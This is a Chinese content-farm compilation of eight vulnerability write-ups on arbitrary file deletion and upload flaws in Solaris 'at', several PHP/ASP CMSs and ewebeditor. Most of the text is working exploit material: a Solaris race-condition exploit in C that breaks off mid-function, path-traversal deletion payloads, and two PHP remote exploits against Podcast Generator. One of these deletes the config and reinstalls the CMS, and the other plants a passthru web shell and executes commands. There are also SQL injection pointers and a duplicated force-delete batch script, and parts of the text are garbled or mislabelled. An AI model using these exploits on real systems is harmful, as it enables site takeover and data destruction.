“寒风暮雨”通过精心收集，向本站投稿了8篇漏洞Sun Solaris AT 指令可删除任意系统文件，下面是小编整理后的漏洞Sun Solaris AT 指令可删除任意系统文件，希望对大家有所帮助。
- 目录
篇1：漏洞Sun Solaris AT 指令可删除任意系统文件
涉及程序：
Sun Solaris at
描述：
Sun Solaris 的'at'指令可删除任意系统文件
详细：
Solaris 包含的at指令在处理'-r'命令行参数时存在竞争条件问题，本地攻击者可利用此缺陷删除任意系统文件，
at指令包含'-r'选项，此选项用于删除以前预定的at作业，不过由于没有正确充分处理作为参数的作业ID数据，攻击者可以删除at spool目录之外的作业。at工具会验证文件属主和限制用户只删除自己的at作业，但是当在对文件进行'stat'操作和文件被删除前存在竞争条件问题，通过在这两个系统调用之间更改目录结构，就可诱使at删除任意系统文件。
受影响系统：
Sun Solaris at
- Sun Solaris 9.0
- Sun Solaris 8.0
- Sun Solaris 7.0
- Sun Solaris 2.6
- Sun Solaris 2.5.1
- Sun Solaris 2.5
攻击方法：
- ------8<------isec-solaris-at-rm------8<------
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#define maxjobs 256
#define tmpdir “/tmp”
#define at “/usr/bin/at”
char target[MAXPATHLEN+1];
char targetfile[MAXPATHLEN+1];
char targetdir[MAXPATHLEN+1];
void cleandirs(void);
void err(char * msg)
{
if (errno) {
int error = errno;
perror(msg);
cleandirs;
errno = error;
exit(errno);
}
}
void gohome(void)
{
char * home;
home = getenv(“HOME”);
if (!home) {
errno = EINVAL;
err(“getenv(”HOME“)”);
}
if (chdir(home) < 0)
err(“chdir($HOME)”);
}
void cleandirs(void)
{
int no;
char * tmp;
for (no = 0; no < maxjobs; no++) {
char path[MAXPATHLEN+1];
snprintf(path, MAXPATHLEN, “%s/%i/%s”, tmpdir, no, targetfile);
path[MAXPATHLEN] = ' ';
unlink(path);
snprintf(path, MAXPATHLEN, “%s/%i”, tmpdir, no);
path[MAXPATHLEN] = ' ';
unlink(path);
rmdir(path);
}
}
void createdirs(char ** argv)
{
int no;
for(no = 0; no < maxjobs; no++) {
char path[MAXPATHLEN+1];
int fd;
snprintf(path, MAXPATHLEN, “%s/%i”, tmpdir, no);
path[MAXPATHLEN] = ' ';
unlink(path);
if (mkdir(path, 0755) < 0 && errno != EEXIST)
err(“Unable to create directory”);
snprintf(path, MAXPATHLEN, “../../../..%s/%i/%s”, tmpdir, no, targetfile);
path[MAXPATHLEN] = ' ';
fd = open(path, O_CREAT|O_RDONLY, 0755);
if (fd < 0 && errno != EEXIST)
err(“Unable to create file”);
close(fd); /* empty file is just fine */
argv[no] = strdup(path);
if (!argv[no])
err(“Unable to allocate memory”);
}
argv[no] = NULL;
}
pid_t spawnat(char ** argv)
{
int no, fd;
pid_t child;
child = fork();
if (child < 0)
err(“Unable to fork”);
if (child)
return child;
/* child process */
if (nice(19) < 0)
err(“Unable to change priority”);
fd = open(“/dev/null”, O_RDWR);
if (fd < 0)
err(“Unable to open /dev/null”);
if (dup2(fd, STDIN_FILENO) < 0 ||
dup2(fd, STDOUT_FILENO) < 0 ||
dup2(fd, STDERR_FILENO) < 0)
err(“Unable to dup /dev/null”);
if (fd >STDERR_FILENO)
close(fd);
execv(argv[0], argv);
err(“Unable to execute at binary”);
}
int doit(char * target)
{
int no = 0;
char path[MAXPATHLEN+1];
char * argv[maxjobs + 3];
pid_t child;
uid_t uid = getuid();
int result = -1;
argv[0] = at;
argv[1] = “-r”;
createdirs(argv+2);
child = spawnat(argv);
while (no < maxjobs) {
struct stat st;
/* check if previous attempt succeeded */
if (stat(target, &st) < 0) {
if (errno == ENOENT) {
result = 0;
break;
} else
err(“Unable to stat target file”);
}
/* wait until file is deleted */
snprintf(path, MAXPATHLEN, “%s/%i/%s”, tmpdir, no, targetfile);
path[MAXPATHLEN] = ' ';
while (stat(path, &st) == 0) ;
if (errno != ENOENT)
err(“Unable to stat temporary file”);
篇2：动易网站管理系统删除任意文件漏洞
来自坏狼安全网
这个漏洞对于动易网站管理系统来说，就是致命的了，
此漏洞存在于User目录下的User_saveflash.asp文件中，其第6～22行代码如下所示。
Dim act, ObjInstalled_FSO, color_name, Create_1, imgurl, SaveFileName, dirMonth
objName_FSO = Application(“objName_FSO”)
ObjInstalled_FSO = IsObjInstalled(objName_FSO)
If ObjInstalled_FSO = True Then
Set fso = Server.CreateObject(objName_FSO)
Else
Response.Write “&&SendFlag=保存 >>>NO”
Response.end
End If
act = trim(request(“act”))
//这里是关键
If act=“” Then
Call Main()
Else
Call CoverColorFile()
//如果act不为空，则调用CoverColorFile()函数
End If
set fso = Nothing
下面我们一起来看看函数CoverColorFile()的代码。
Sub CoverColorFile()
//此函数用于生成图像BMP文件
Dim whichfile, head, Colortxt, i, rline, badwords
//注意whichfile变量
Response.Expires = -9999
Response.AddHeader “Pragma”,“no-cache”
Response.AddHeader “cache-ctrol”,“no-cache”
Response.ContentType = “Image/bmp”
//输出图像文件头
head = ChrB(66) & ChrB(77) & ChrB(118) & ChrB(250) & ChrB(1) & ChrB(0) & ChrB(0) & ChrB(0) &_
ChrB(0) & ChrB(0) & ChrB(54) & ChrB(0) & ChrB(0) & ChrB(0) & ChrB(40) & ChrB(0) &_
ChrB(0) & ChrB(0) & ChrB(172) & ChrB(0) & ChrB(0) & ChrB(0) & ChrB(130) & ChrB(0) &_
ChrB(0) & ChrB(0) & ChrB(1) & ChrB(0) & ChrB(24) & ChrB(0) & ChrB(0) & ChrB(0) &_
ChrB(0) & ChrB(0) & ChrB(64) & ChrB(250) & ChrB(1) & ChrB(0) & ChrB(0) & ChrB(0) &_
ChrB(0) & ChrB(0) & ChrB(0) & ChrB(0) & ChrB(0) & ChrB(0) & ChrB(0) & ChrB(0) &_
ChrB(0) & ChrB(0) & ChrB(0) & ChrB(0) & ChrB(0) & ChrB(0)
Response.BinaryWrite head
whichfile=trim(request(“color_url”))
// whichfile由用户提交的color_url而来
Set Colortxt = fso.OpenTextFile(server.mappath(whichfile),1)
//以只读方式打开用户提交的变量whichfile，这里取得的是文件
rline = Colortxt.ReadLine //读取文件一行
badwords = split(rline,“”) //以“”作分隔
Colortxt.Close
fso.deleteFile(server.mappath(whichfile))
//这句就是漏洞了，此句的作用是删除文件，
由于whichfile由用户提交而来，又没有经过任何安全处理，所以便构成漏洞了。如果我们让 color_url=../conn.asp，那么就直接删除conn.asp文件了，同样，我们可以让color_url为站内任一文件，最后，我们可以删除全站的文件。
for i=0 to UBound(badwords)
Response.BinaryWrite to3(badwords(i))
next
End Sub
有了上面的漏洞，我们就一起去测试一下 ，看看是否存在此漏洞吧。打开官方演示网站，如图1所示，我们就以动易的Logo作测试吧。查看其路径，发现在images目录下，名为logo.gif，
现在，我们注册一个用户，然后进入会员中心，在URL处填入：。
成功提交之后，返回到首页，现在我们可以看到，官方仍然存大此重大漏洞。官方logo.gif处变成了一个红叉，说明已被删掉。
解决办法为最好不要从外部接收数据，要么就删除代码：fso.deleteFile(server.mappath(whichfile))
篇3：记事狗任意文件删除漏洞预警
利用条件：
1.仅限于windows主机,linux无效（至少我本机就不行）
2.已注册用户
3.需要删除的文件可读写
在modules/ajax/event.mod.php中
www.xxxx.com
#保护性删除图片
function doUnlink($pic){
if(!$pic) return false;
0 = trim(strtolower(end(explode(“.”,$pic))));
$exp = '././images/event/[0-9]{10}'.MEMBER_ID.'_b.'.0;
if(ereg($exp,$pic)){
unlink($pic);
unlink(strtr($pic,'_b.','_s.'));
return true;
}else {
return false;
}
}
该函数在 onloadPic中被调用
if($_FILES['pic']['name']){
//省略.....................
$hid_pic = $this->Post['hid_pic'];
$eid = (int) $this->Post['id'];
$this->doUnlink($hid_pic,$eid);
//省略.............
}
只要$_FILES['pic']['name'] 不为空，然后我们就可以构造hid_pic了
hid_pic 的内容为：
././images/event/1234567890{MEMBER_ID}_b.{你要删除的文件的后缀}/../../../{你要删除的文件}
比如我们要删除./data/install.lock文件，而且我的MEMBER_ID为2 则：
././images/event/12345678902_b.lock/../../../data/install.lock
本地测试成功
实际利用：
在 index.php?mod=event&code=pevent
上传抓包，然后在hid_pic底下填写././images/event/12345678902_b.lock/../../../data/install.lock 即可
修复方案：
do it yourself
篇4：强制删除任意文件以及文件夹漏洞预警
DEL /F /A /Q ?%1
RD /S /Q ?%1
保存为*.bat
将要删除的文件以及文件夹拖到该批处理上，
强制删除任意文件以及文件夹漏洞预警
，
篇5：Podcast Generator多个模块文件包含和任意文件删除漏洞
影响版本:
Podcast Generator 1.2
程序介绍:
Podcast Generator是用PHP编写的免费播客发布脚本，
漏洞分析:
Podcast Generator的core/archive_cat.php、core/admin/itunescategories.php和core /admin/login.php页面没有正确地过滤对GLOBALS[absoluteurl]参数所传送的输入，core/themes.php页面没有正确地过滤对GLOBALS[theme_path]参数所传送的输入，这可能用于包含本地或外部资源的任意文件；此外core/admin /delete.php页面没有正确地过滤对file和ext“参数所传送的输入，可能导致删除任意文件。成功利用这些漏洞要求打开了 register_globals。
漏洞利用:
#
# Podcast Generator <= 1.2 unauthorized CMS Re-Installation Remote Exploit
#
# by staker
# --------------------------------------
# mail: staker[at]hotmail[dot]it
# url: podcastgen.sourceforge.net
# --------------------------------------
#
# it works with register_globals=on
#
# short explanation:
#
# ----------------------------------------
# Podcast Generator contains one flaw that
# allows an attacker to re-install the cms
# because of unlink in'delete.php'file
# ----------------------------------------
# Look at'/core/admin/delete.php'
# (removed author's comments)
/*
if (isset($_REQUEST['absoluteurl']) OR isset($_REQUEST['amilogged']) OR isset($_REQUEST['theme_path']))
{ exit; } <-------- {1}
if ($amilogged != ”true“) { exit; } <-------{2}
if (isset($_GET['file']) AND $_GET['file']!=NULL) {
$file = $_GET['file'];
$ext = $_GET['ext'];
if (file_exists(”$absoluteurl$upload_dir$file.$ext“)) {
unlink (”$upload_dir$file.$ext“); <--------{3}
$PG_mainbody .=”
$file.$ext$L_deleted
“;
}
*/
#
# Explanation (code snippet above [points])
# -----------------------------------------------------------------------------------
# 1. blocks all'amilogged'REQUEST variables,what about GLOBALS?,therefore useless!
# 2.if'amilogged'isn't true ->exit()functionactivated.
# 3. unlink()deletean existing file.
# -----------------------------------------------------------------------------------
#
# It's possible to delete 'config.php' to re-install the cms. we need 'amilogged'
# set to true. We candoit using a GLOBALS variable.
#
# admin/core/delete.php?GLOBALS[amilogged]=true&file=../../config&ext=php
#
# Various:
# --------------------------------------------------
# They didn't help me but i want to give a thanks to
# girex,skerno,Chaomel,XaDoS,Dante90andGianluka_95
# --------------------------------------------------
# Today is: 02 June .
# Location: Italy,Turin.
# www. .com/watch?v=dBc7mK5iAH0
# --------------------------------------------------
error_reporting(E_STRICT ^ E_WARNING);
if($argc< 2) start_usage();
$host=$argv[1];
$path=$argv[2];
re_install();
functionsend_request($data)
{
global$host;
if(!$sock= @fsockopen($host,80)) {
die(”connection refused..n“);
}
if(isset($data)) {
fputs($sock,$data);
}
while(!feof($sock)) {$result.=fgets($sock); }
fclose($sock);
return$result;
}
functionremove_config()
{
global$host,$path;
$in_lex=”/{$path}/core/admin/delete.php?GLOBALS[amilogged]=true&file=../../config&ext=php“;
$config=”GET {$in_lex} HTTP/1.1rn“;
$config.=”User-Agent: Lynx (textmode)rn“;
$config.=”Host: {$host}rn“;
$config.=”Connection: closernrn“;
$lol= send_request($config);
if(check_config() != FALSE) {
die(”register_globals=off, exploit failed!n“);
}
else{
returntrue;
}
}
functionre_install()
{
global$host,$path;
$binary=”username=staker&password=killingyourself&password2=killingyourself&setuplanguage=en“;
$config=”POST {$path}/setup/index.php?step=5 HTTP/1.1rn“;
$config.=”User-Agent: Lynx (textmode)rn“;
$config.=”Host: {$host}rn“;
$config.=”Content-Type: application/x-www-form-urlencodedrn“;
$config.=”Content-Length: “.strlen($binary).”rn“;
$config.=”Connection: closernrn“;
$config.=$binary;
remove_config();
$content= send_request($config);
if(eregi('Creation of the configuration file',$content)) {
echo”[ re-installed successfuln“;
echo”[ username: stakern[ password: killingyourselfn“;exit(0);
}
else{
die(”Exploit failedn“);
}
}
functioncheck_config()
{
global$host,$path;
$config=”GET /{$path}/config.php HTTP/1.1rn“;
$config.=”User-Agent: Lynx (textmode)rn“;
$config.=”Host: {$host}rn“;
$config.=”Connection: closernrn“;
$content= send_request($config);
if(ereg('HTTP/1.1 404 Not Found',$content)) {
returnfalse;
}
else{
returntrue;
}
}
functionstart_usage()
{
print”[*--------------------------------------------------------------------------*]n“.
”[* Podcast Generator <= 1.2 unauthorized CMS Re-Installation Remote Exploit *]n“.
”[*--------------------------------------------------------------------------*]n“.
”[* Usage: php podcast_xpl.php [host] [path] *]n“.
”[* [host] host -> example: localhost *]n“.
”[* [path] path -> example: /podcast *]n“.
”[*--------------------------------------------------------------------------*]n“;
die();
}
#!/usr/bin/php -q -d short_open_tag=on
echo”
Podcast Generator <= 1.1 Remote Code Execution
Vendor: podcastgen.sourceforge.net
Exploit Author: BlackHawk
Author's Site: itablackhawk.altervista.org
Credits goes to RGodforthe code
Thanks to Marija justforexist :)
“;
if($argc<4) {
echo”
Usage: php“.$argv[0].”host /path/ command
Es: php“.$argv[0].”localhost / dir
“;
die;
}
/*
Bugs explanation:
This app has tons of bugs, but because of his structure lot of them are useless.. but not them all!
Look at 'core/admin/delete.php' (i have omitted the author comments):
---------------------------
if (isset($_REQUEST['absoluteurl']) OR isset($_REQUEST['amilogged']) OR isset($_REQUEST['theme_path'])) { exit; }
if (isset($_GET['file']) AND $_GET['file']!=NULL) {
$file = $_GET['file'];
$ext = $_GET['ext'];
if (file_exists(”$absoluteurl$upload_dir$file.$ext“)) {
unlink (”$upload_dir$file.$ext“);
$PG_mainbody .=”
$file.$ext$L_deleted
“;
}
---------------------------
no check for admin rights, so now we can delete whatever file we want, with any exstension..
so let's delete config.php and make a rfesh new installation with a password set by us!
the RCE is triggered in 'core/admin/scriptconfig.php', line 56:
---------------------------
// recent in home
$recent = $_POST['recent'];
if ($recent != ”“) {
$max_recent = $recent;
}
---------------------------
no sanitize of the input and no quotes added when writting to the config file (so no need mq=off)
BlackHawk */ error_reporting(0); ini_set(”max_execution_time“,0); ini_set(”default_socket_timeout“,5); functionquick_dump($string) { $result='';$exa='';$cont=0; for($i=0;$i<=strlen($string)-1;$i++) { if((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 )) {$result.=” .“;} else {$result.=” “.$string[$i];} if(strlen(dechex(ord($string[$i])))==2) {$exa.=” “.dechex(ord($string[$i]));} else {$exa.=” 0“.dechex(ord($string[$i]));} $cont++;if($cont==15) {$cont=0;$result.=”rn“;$exa.=”rn“;} } return$exa.”rn“.$result; } $proxy_regex='(bd{1,3}.d{1,3}.d{1,3}.d{1,3}:d{1,5}b)'; functionsendpacketii($packet) { global$proxy,$host,$port,$html,$proxy_regex; if($proxy=='') { $ock=fsockopen(gethostbyname($host),$port); if(!$ock) { echo'No response from '.$host.':'.$port;die; } } else{ $c= preg_match($proxy_regex,$proxy); if(!$c) { echo'Not a valid proxy...';die; } $parts=explode(':',$proxy); echo”Connecting to “.$parts[0].”:“.$parts[1].” proxy...rn“; $ock=fsockopen($parts[0],$parts[1]); if(!$ock) { echo'No response from proxy...';die; } } fputs($ock,$packet); if($proxy=='') { $html=''; while(!feof($ock)) { $html.=fgets($ock); } } else{ $html=''; while((!feof($ock))or(!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) { $html.=fread($ock,1); } } fclose($ock); } $host=$argv[1]; $path=$argv[2]; $cmd=”“; for($i=3;$i<=$argc-1;$i++){ $cmd.=” “.$argv[$i]; } $port=80; $proxy=”“; if(($path[0]'/')or($path[strlen($path)-1]'/')) {echo'Error... check the path!';die;} if($proxy=='') {$p=$path;}else{$p=''.$host.':'.$port.$path;} echo”Step1 - Delete config.incrn“; $packet=”GET “.$p.”core/admin/delete.php?file=../../config&ext=php HTTP/1.0rn“; $packet.=”Host: “.$host.”rn“; $packet.=”Connection: Closernrn“; sendpacketii($packet); echo”Step2 - Creating new configurationrn“; $data=”username=new_user_name&password=blackhawk&password2=blackhawk&setuplanguage=en“; $packet=”POST “.$p.”/setup/index.php?step=5 HTTP/1.0rn“; $packet.=”Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8rn“; $packet.=”Accept-Language: itrn“; $packet.=”Content-Type: application/x-www-form-urlencodedrn“; $packet.=”Accept-Encoding: gzip, deflatern“; $packet.=”User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)rn“; $packet.=”Host: “.$host.”rn“; $packet.=”Content-Length: “.strlen($data).”rn“; $packet.=”Connection: Closern“; $packet.=”Cache-Control: no-cachernrn“; $packet.=$data; sendpacketii($packet); echo”Step3 - Logging inrn“; $data=”user=new_user_name&password=blackhawk“; $packet=”POST “.$p.”?p=admin HTTP/1.0rn“; $packet.=”Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, * /*rn“; $packet.=”Accept-Language: itrn“; $packet.=”Content-Type: application/x-www-form-urlencodedrn“; $packet.=”Accept-Encoding: gzip, deflatern“; $packet.=”User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)rn“; $packet.=”Host: “.$host.”rn“; $packet.=”Content-Length: “.strlen($data).”rn“; $packet.=”Connection: Closern“; $packet.=”Cache-Control: no-cachernrn“; $packet.=$data; sendpacketii($packet); $temp=explode(”Set-Cookie: “,$html); $temp2=explode(” “,$temp[1]); $PHPid=$temp2[0]; echo”Step4 - Sending shellrn“; $data=”streaming=yes&fbox=yes&cats=yes&newsinadmin=yes&strictfilename=yes&recent=5; if (isset($_GET[cmd])){if(get_magic_quotes_gpc()){$_GET[cmd]=stripslashes($_GET[cmd]);}echo 666999;passthru($_GET[cmd]);echo 666999;}$xyz=5&recentinfeed=All&selectdateformat=d-m-Y&scriptlanguage=en“; $packet=”POST “.$p.”?do=config&p=admin&action=change HTTP/1.0rn“; $packet.=”Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, * /*rn“; $packet.=”Accept-Language: itrn“; $packet.=”Content-Type: application/x-www-form-urlencodedrn“; $packet.=”Accept-Encoding: gzip, deflatern“; $packet.=”User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)rn“; $packet.=”Host: “.$host.”rn“; $packet.=”Cookie: $PHPidrn“; $packet.=”Content-Length: “.strlen($data).”rn“; $packet.=”Connection: Closern“; $packet.=”Cache-Control: no-cachernrn“; $packet.=$data; sendpacketii($packet); echo”Step5 - Executing Commandrnrn“; $packet=”GET “.$p.”config.php?cmd=dir HTTP/1.0rn“; $packet.=”Host: “.$host.”rn“; $packet.=”Connection: Closernrn“; $packet.=$data; sendpacketii($packet); if(strstr($html,”666999“)) { echo”Exploit succeeded...rn“; $temp=explode(”666999“,$html); die(”rn“.$temp[1].”rn“); } ?>
解决方案:
厂商补丁：
Alberto Betella
---------------
目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：
podcastgen.sourceforge.net/download.php?lang=en
信息来源:
<*来源：BlackHawk
链接：secunia.com/advisories/35333/
milw0rm.com/exploits/8860
*>
篇6：iwebsns1.0 任意文件删除&&2个注入漏洞预警
actionusersuser_ico_cut_save.action.php
1
2//引入模块公共方法文件
3require(”foundation/module_users.php“);
4require(”foundation/aintegral.php“);
5require(”foundation/fcontent_format.php“);
6require(”api/base_support.php“);
7//语言包引
8$u_langpackage=new userslp;
9//数据库操作
10dbtarget('w',$dbServs);
11$dbo=new dbex();
12$photo_url=short_check(get_argg('pic')); //这里这里.
13$user_id=get_sess_userid();//用户ID
14$user_name=get_sess_username();//用户名
15$ico_url=long_check(get_argp('u_ico_url'));
16往下看
17;
18;
19;
20
21if(preg_match(”/uploadfiles/photo_store/“,$photo_url)){
22unlink($photo_url);//删除临时图片文件 // you know
iwebsnsactionpollpoll_submit.action.php
1//变量声明区
2$user_id=get_sess_userid();
3$user_name=get_sess_username();
4$userico=get_sess_userico();
5$cho=get_argp('pol_cho'); //此处可控未过滤
6$pid=intval(get_argg('pid'));
7$anon=short_check(get_argp('anonymity'));
8$total_credit=intval(get_argp('credit'));
9$per_int=intval(get_argp('percredit'));
10$p_subject=short_check(get_argp('subject')); 往下看
11foreach($cho as $v){
12$option.=”,“.$v;
13}
14$sql=”select `option` from $t_polloption where oid in(0.$option)“; //you know too
actionusersuser_info.action
1
2require(”foundation/module_users.php“);
3//引入语言包
4$u_langpackage=new userslp;
5//变量获得
6$user_id =get_sess_userid();
7$model = short_check(get_argg('model'));
8$birth_year = short_check(get_argp('birth_year'));
9$birth_month = short_check(get_argp('birth_month'));
10$birth_day = short_check(get_argp('birth_day'));
11$reside_city = short_check(get_argp('reside_city'));
12$reside_province = short_check(get_argp('reside_province'));
13$birth_city = short_check(get_argp('birth_city'));
14$birth_province = short_check(get_argp('birth_province'));
15$is_finish=intval(get_argg('is_finish'));
16$info = get_argp('info'); //看这里
17往下看
18//更新自定义信息表
19if(!empty($info)){
20foreach($info as $key => $value){
21if($value!==''){
22$key=explode('|',$key);
23$sql=”insert into $t_user_info (user_id,info_id,info_value) values ($user_id,'“.$key[0].”','$value')“;//直接查询, 不过受Gpc
24$dbo ->exeUpdate($sql);
25}
26}
27}
篇7：强制删除任意文件以及文件夹
DEL /F /A /Q ?%1
RD /S /Q ?%1
保存为*.bat
将要删除的文件以及文件夹拖到该批处理上，
强制删除任意文件以及文件夹
，
篇8：ewebeditor for php任意文件上传漏洞
此漏洞仅测试了最新版v3.8,不知道低版本是否存在此漏洞，PHP版本的ewebeditor并没有使用数据库来保存配置信息，所有信息位于php/config.php中，代码如下：
$sUsername = ”admin“;
$sPassword = ”admin“;
$aStyle[1] = ”gray|||gray|||office|||../uploadfile/|||550|||350|||rar|zip|exe|doc|xls|chm|hlp|||swf|||gif|jpg|jpeg|bmp|||rm|mp3|wav|mid|midi|ra|avi|mpg|mpeg|asf|asx|wma|mov|||gif|jpg|jpeg|bmp|||500|||100|||100|||100|||100|||1|||1|||EDIT|||1|||0|||0|||||||||1|||0|||Office标准风格，部分常用按钮，标准适合界面宽度|||1|||zh-cn|||0|||500|||300|||0|||版权所有...|||FF0000|||12|||宋体||||||0|||jpg|jpeg|||300|||FFFFFF|||1|||1“;
........
它将所有的风格配置信息保存为一个数组$aStyle,在register_global为on的情况下我们可以任意添加自己喜欢的风格，然后就可以在自己添加的风格中可以随意定义可上传文件类型。
这漏洞成因很简单，下面给个exp
URL:
file:
漏洞修补方法：
初始化数组$aStyle
$sUsername = ”admin“;
$sPassword = ”admin“;
$aStyle. = array();
$aStyle[1] = ”gray|||gray|||office|||../uploadfile/|||550|||350|||rar|zip|exe|doc|xls|chm|hlp|||swf|||gif|jpg|jpeg|bmp|||rm|mp3|wav|mid|midi|ra|avi|mpg|mpeg|asf|asx|wma|mov|||gif|jpg|jpeg|bmp|||500|||100|||100|||100|||100|||1|||1|||EDIT|||1|||0|||0|||||||||1|||0|||Office标准风格，部分常用按钮，标准适合界面宽度|||1|||zh-cn|||0|||500|||300|||0|||版权所有...|||FF0000|||12|||宋体||||||0|||jpg|jpeg|||300|||FFFFFF|||1|||1";
★ ewebeditor(PHP) Ver 3.8 任意文件上传0day漏洞预警
漏洞Sun Solaris AT 指令可删除任意系统文件（集锦8篇）
